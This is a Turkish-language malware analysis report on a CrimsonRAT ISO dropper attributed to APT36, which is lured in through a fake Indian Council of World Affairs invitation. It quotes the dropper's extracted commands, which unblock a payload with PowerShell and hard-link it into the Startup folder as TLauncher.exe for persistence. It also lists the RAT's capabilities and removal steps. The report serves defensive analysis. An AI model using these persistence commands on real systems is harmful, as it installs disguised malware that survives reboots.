CrimsonRAT ISO Dropper — APT36 ICWA India Lure, TLauncher Persistence, PowerShell Unblock | Kritik

Dosya Kimligi

Teslimat Vektoru — ICWA Davet Mektubu Sahteligi

ISO dosyasi, Haziran 2026 tarihli ICWA (Indian Council of World Affairs) davet mektubu olarak sunulmaktadir. Bu tur hedefli phishing (spear-phishing) APT36'nin Hindistanli savunma ve dis politika personeline yonelik tipik TTL'leriyle (Taktik, Teknik, Prosedur) uyumludur. "Fazel Mumbai House" referansi somut bir sosyal muhendislik bilesenini gostermektedir.

Teknik Analiz — Zarli ISO Icerigi

Tespit Edilen Komutlar (Binary String)

powershell Unblock-File -Path "C:\ProgramData\z"
mklink /h "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\TLauncher.exe" "C:\ProgramData\z" >nul
start "" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\TLauncher.exe" && EXIT

Analiz Adim Adim

1. ISO Bağlanir: Kurban ISO'yu tıklar, Windows otomatik olarak bağlar.
2. TLauncher kili#62;: Kurban meşru bir Minecraft launcher sandığını düsünür.
3. PowerShell Bypass: Unblock-File komutu ile indirme engeli kaldirilir.
4. Kalicilik: C:\ProgramData\z adli payload, Startup klasorune TLauncher.exe adi altinda sabit baglanti (hard link) olarak eklenir.
5. Yürütme: Payload calistirilir ve sistem yeniden baslatildiginda da otomatik olarak calisir.

C2 Altyapisi

CrimsonRAT C2 URL'si binary icerisinde sifreli olarak saklanmaktadir. ISO icindeki TLauncher bileseninden http://java-for-minecraft.com/ URL'si tespit edilmis; bu adres Java kurulumu rehber linki olarak kullanilmaktadir. Asil CrimsonRAT C2 endpoint'i statik analizde gorunur degildir.

IOC

Bilinen CrimsonRAT Yetenekleri

• Tam uzaktan erisim (dosya yonetimi, komut yürütme)
• Ekran goruntüsü alma
• Keylogger
• Tarayici kimlik bilgileri calma
• Dosya yükleme/indirme
• Process yonetimi

Nasil Kaldirilir?

1. %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ altindaki TLauncher.exe silinsin
2. C:\ProgramData\z dosyasi silinsin
3. Registry Run key'leri kontrol edilsin
4. Guncel AV taramasi yapilsin